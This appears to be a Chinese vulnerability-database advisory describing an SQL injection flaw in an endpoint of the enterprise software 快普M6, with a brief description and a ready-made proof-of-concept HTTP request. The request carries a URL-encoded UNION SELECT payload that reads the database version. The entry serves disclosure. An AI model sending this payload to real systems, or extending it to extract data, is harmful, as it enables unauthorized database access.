快普M6 /WebService/SeatManageService.asmx/GetCallInfo SQL 注入漏洞

日期: 2025-08-29 | 影响软件: 快普M6 | POC: 已公开

漏洞描述

快普M6 是一款企业管理软件，其 /WebService/SeatManageService.asmx/GetCallInfo 接口存在 SQL 注入漏洞。攻击者可以通过构造恶意的 SQL 查询语句，未经授权地访问数据库中的敏感信息，可能导致数据泄露、篡改或破坏。

PoC代码

POST /WebService/SeatManageService.asmx/GetCallInfo HTTP/1.1
Host: 
Content-Type: application/x-www-form-urlencoded

strCallNo=a%27+UNION+ALL+SELECT+NULL%2CNULL%2C%40%40VERSION--

相关漏洞推荐